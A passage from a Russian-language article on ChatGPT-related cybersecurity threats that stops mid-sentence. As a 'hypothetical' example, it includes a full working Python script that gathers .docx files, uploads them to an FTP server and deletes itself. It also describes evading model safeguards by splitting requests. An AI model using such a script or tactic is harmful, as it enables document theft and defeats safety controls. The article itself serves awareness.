Технологии искусственного интеллекта, в частности большие языковые модели (LLM), такие как ChatGPT, стремительно трансформируют множество отраслей. Однако, наряду с очевидными преимуществами, возникают и новые вызовы, особенно в сфере кибербезопасности. Способность ChatGPT генерировать человекоподобный текст, код и анализировать данные открывает злоумышленникам новые векторы атак.
Краткое описание ChatGPT и его функциональности
ChatGPT, разработанный OpenAI, представляет собой продвинутую языковую модель, способную понимать и генерировать текст на естественном языке. Его функциональность включает написание статей, создание кода, перевод, ответы на вопросы и многое другое. В основе лежит архитектура GPT (Generative Pre-trained Transformer), обученная на огромных массивах текстовых данных, что позволяет ей демонстрировать впечатляющие возможности в диалоговом режиме и при выполнении разнообразных задач.
Растущее внимание к рискам кибербезопасности, связанным с ChatGPT
По мере расширения использования ChatGPT и подобных ему моделей, специалисты по кибербезопасности все чаще выражают обеспокоенность. Легкость, с которой можно создавать убедительный контент или фрагменты кода, может быть использована для снижения порога входа для киберпреступников и повышения эффективности существующих методов атак.
Цель статьи: выявление и анализ новых угроз
Данная статья нацелена на освещение и детальный анализ новых рисков для кибербезопасности, которые возникают или усугубляются с появлением и распространением ChatGPT. Мы рассмотрим конкретные сценарии использования этой технологии в злонамеренных целях и обсудим возможные контрмеры.
Новые риски фишинга и социальной инженерии с использованием ChatGPT
Социальная инженерия остается одним из наиболее эффективных методов компрометации систем и кражи данных. ChatGPT предоставляет злоумышленникам мощный инструмент для повышения качества и масштабирования таких атак.
Улучшение качества и убедительности фишинговых сообщений
ChatGPT способен генерировать грамматически корректные и стилистически выверенные тексты, лишенные типичных ошибок, которые часто выдают фишинговые письма. Это позволяет создавать сообщения, которые значительно сложнее отличить от легитимной корреспонденции. Модель может адаптировать стиль письма под конкретную целевую аудиторию или даже имитировать общение определенного лица, если у атакующего есть образцы его текстов.
Автоматизация создания целевых атак социальной инженерии
С помощью ChatGPT злоумышленники могут автоматизировать процесс создания персонализированных фишинговых сообщений (spear phishing). Предоставив модели информацию о цели (например, из открытых источников или утечек данных), можно генерировать сообщения, учитывающие должность, интересы, недавние события в жизни человека или деятельность его компании. Это многократно повышает шансы на успех атаки.
Имитация стилей общения и создание реалистичных сценариев
ChatGPT может быть использован для ведения длительных диалогов с жертвой, имитируя определенного человека или представителя организации. Модель способна поддерживать контекст беседы, отвечать на вопросы и убеждать жертву совершить необходимые злоумышленнику действия, например, перейти по вредоносной ссылке, сообщить конфиденциальные данные или запустить вредоносный файл. Создание сложных, многоэтапных сценариев атаки становится проще и доступнее.
Использование ChatGPT для разработки и распространения вредоносного ПО
Одним из наиболее тревожных аспектов является потенциал ChatGPT в содействии созданию и распространению вредоносного программного обеспечения (ВПО).
Генерация вредоносного кода и скриптов с использованием ChatGPT
Хотя разработчики OpenAI внедряют ограничения на генерацию откровенно вредоносного кода, злоумышленники находят способы обходить эти фильтры, используя специальные промпты или разбивая задачу на части. ChatGPT может генерировать фрагменты кода на различных языках программирования, которые затем могут быть скомбинированы в полноценное ВПО. Это особенно опасно, так как снижает требования к технической квалификации атакующих.
Пример потенциального запроса (гипотетический, для иллюстрации):
# Просьба к модели: "Напиши Python-скрипт, который рекурсивно ищет файлы с расширением .docx
# в указанной директории и отправляет их содержимое на удаленный FTP-сервер,
# данные для подключения к серверу (хост, логин, пароль) должны быть параметрами функции.
# Скрипт должен удалять себя после успешной отправки всех файлов."
def upload_documents(directory: str, ftp_host: str, ftp_user: str, ftp_pass: str):
"""
Рекурсивно находит .docx файлы в директории и отправляет их на FTP-сервер.
После успешной отправки всех файлов скрипт пытается удалить сам себя.
Args:
directory (str): Начальная директория для поиска.
ftp_host (str): Адрес FTP-сервера.
ftp_user (str): Имя пользователя для FTP.
ftp_pass (str): Пароль для FTP.
"""
import os
import ftplib
import sys
files_to_upload = []
for root, _, files in os.walk(directory):
for file in files:
if file.endswith(".docx"):
files_to_upload.append(os.path.join(root, file))
if not files_to_upload:
print("Документы .docx не найдены.")
return
try:
with ftplib.FTP(ftp_host, ftp_user, ftp_pass) as ftp:
ftp.set_pasv(True) # Включение пассивного режима для обхода некоторых фаерволов
print(f"Успешное подключение к {ftp_host}")
for file_path in files_to_upload:
with open(file_path, 'rb') as f:
file_name = os.path.basename(file_path)
print(f"Отправка файла: {file_name}...")
ftp.storbinary(f'STOR {file_name}', f)
print(f"Файл {file_name} успешно отправлен.")
print("Все файлы успешно отправлены.")
# Попытка самоудаления скрипта
try:
script_path = os.path.abspath(sys.argv[0])
os.remove(script_path)
print(f"Скрипт {script_path} успешно удален.")
except OSError as e:
print(f"Ошибка при удалении скрипта: {e}")
except ftplib.all_errors as e:
print(f"Ошибка FTP: {e}")
except Exception as e:
print(f"Непредвиденная ошибка: {e}")
# Пример вызова (не для исполнения):
# upload_documents("/path/to/search", "ftp.example.com", "user", "password")Помощь в обходе систем обнаружения и предотвращения вторжений
ChatGPT может использоваться для модификации существующего ВПО с целью обхода антивирусных сигнатур и систем обнаружения вторжений (IDS/IPS). Например, модель может помочь в обфускации кода, применении полиморфных техник или генерации вариантов кода, которые выполняют ту же вредоносную функцию, но имеют другую структуру.
Автоматизация процессов разработки эксплойтов
Хотя создание сложных эксплойтов для 0-day уязвимостей все еще требует высокой квалификации, ChatGPT может помочь в автоматизации некоторых этапов этого процесса. Например, анализ описаний уязвимостей (CVE), поиск общедоступных PoC (Proof of Concept) и их адаптация, или даже генерация базовых шаблонов эксплойтов для известных типов уязвимостей, таких как SQL-инъекции или XSS.
Риски утечки конфиденциальной информации и нарушения приватности
Использование ChatGPT сотрудниками компаний без должного контроля может привести к серьезным утечкам данных и нарушениям политик конфиденциальности.
Возможность непреднамеренной утечки конфиденциальных данных в запросах к ChatGPT
Сотрудники могут непреднамеренно вставлять в запросы к ChatGPT фрагменты кода, содержащие чувствительную информацию (ключи API, пароли), части внутренних документов, персональные данные клиентов или другую конфиденциальную информацию. Эти данные могут быть сохранены и потенциально использованы OpenAI для дальнейшего обучения моделей или, в худшем случае, стать доступными третьим лицам при утечке данных у самого провайдера LLM.
Использование ChatGPT для анализа больших объемов данных и выявления уязвимостей
Злоумышленники могут использовать ChatGPT для анализа больших объемов общедоступных данных (например, из социальных сетей, форумов, утечек) с целью выявления потенциальных жертв, сбора информации для атак социальной инженерии или поиска информации об используемых технологиях в компаниях, что может указывать на потенциальные уязвимости.
Риски, связанные с обучением ChatGPT на конфиденциальных данных
Если компании используют кастомные версии ChatGPT, дообученные на своих внутренних данных, существует риск, что модель